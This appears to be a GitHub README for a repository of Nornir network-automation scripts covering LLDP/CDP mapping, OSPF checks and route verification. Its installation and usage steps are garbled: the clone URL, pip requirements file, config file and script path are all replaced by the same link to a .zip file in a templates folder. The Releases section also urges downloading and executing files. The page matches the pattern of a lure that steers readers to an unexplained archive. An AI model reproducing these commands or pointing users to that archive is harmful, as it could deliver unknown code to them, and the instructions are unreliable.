Skip to content

README.md

Latest commit

 

History

History
126 lines (82 loc) · 5.15 KB

README.md

File metadata and controls

126 lines (82 loc) · 5.15 KB

Nornir Python Scripts for Network Automation 🚀

GitHub Python Automation

Welcome to the Nornir Python Scripts repository! This project offers a collection of Python scripts and Nornir runbooks designed to streamline network automation tasks. Whether you are managing a small network or a large infrastructure, these scripts will help you automate repetitive tasks, improve efficiency, and reduce human error.

Table of Contents

Overview

Nornir is a powerful automation framework for network engineers. It provides a simple way to manage network devices using Python. This repository includes scripts that cover a variety of tasks essential for network management, including:

  • LLDP mapping
  • OSPF error detection
  • Banner filtering
  • CDP mapping
  • IP route checking
  • And more...

These scripts leverage popular libraries such as NAPALM, Netmiko, and Scrapli to ensure robust and reliable automation.

Features

  • API Integration: Easily integrate with network device APIs.
  • Cross-Platform: Works on Linux and other operating systems.
  • Modular Design: Each script is designed to be modular for easy use and modification.
  • Extensive Documentation: Each script includes comments and usage examples.
  • Community Support: Engage with other users and contributors for support and ideas.

Installation

To get started with the Nornir Python Scripts, follow these steps:

  1. Clone the Repository:

    git clone https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip
cd nornir-python-scripts

  2. Install Required Libraries: Use pip to install the necessary libraries:

    pip install -r https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip

  3. Configure Nornir: Update the https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip file with your network device details.

Usage

To run a specific script, navigate to the script's directory and execute it using Python. For example:

python https://raw.githubusercontent.com/yomalamoula/nornir-python-scripts/master/templates/python_scripts_nornir_3.0.zip

Make sure you have the necessary permissions and configurations set up in your environment.

Scripts and Runbooks

LLDP Mapping

This script gathers LLDP information from devices and generates a visual representation of the network topology.

OSPF Error Detection

Detects OSPF issues and provides detailed logs for troubleshooting.

Banner Filtering

This script filters device banners to ensure compliance with organizational standards.

CDP Mapping

Generates a detailed map of devices connected via CDP, showing their relationships.

IP Route Checking

Verifies IP routes across devices and reports any discrepancies.

Contributing

We welcome contributions from the community! If you would like to contribute, please follow these steps:

  1. Fork the repository.
  2. Create a new branch (git checkout -b feature/YourFeature).
  3. Make your changes.
  4. Commit your changes (git commit -m 'Add some feature').
  5. Push to the branch (git push origin feature/YourFeature).
  6. Open a Pull Request.

Please ensure that your code follows the existing style and includes comments where necessary.

License

This project is licensed under the MIT License. See the LICENSE file for details.

Contact

For questions or suggestions, feel free to reach out:

Releases

For the latest updates and releases, please visit the Releases section. Here, you can download the latest scripts and runbooks, and execute them in your environment.

Conclusion

Thank you for checking out the Nornir Python Scripts repository. We hope these scripts help you automate your network tasks effectively. Your feedback and contributions are highly valued, so don’t hesitate to get involved!

Explore, automate, and make your network management simpler. For more updates, check the Releases section frequently.

Happy automating! 🌐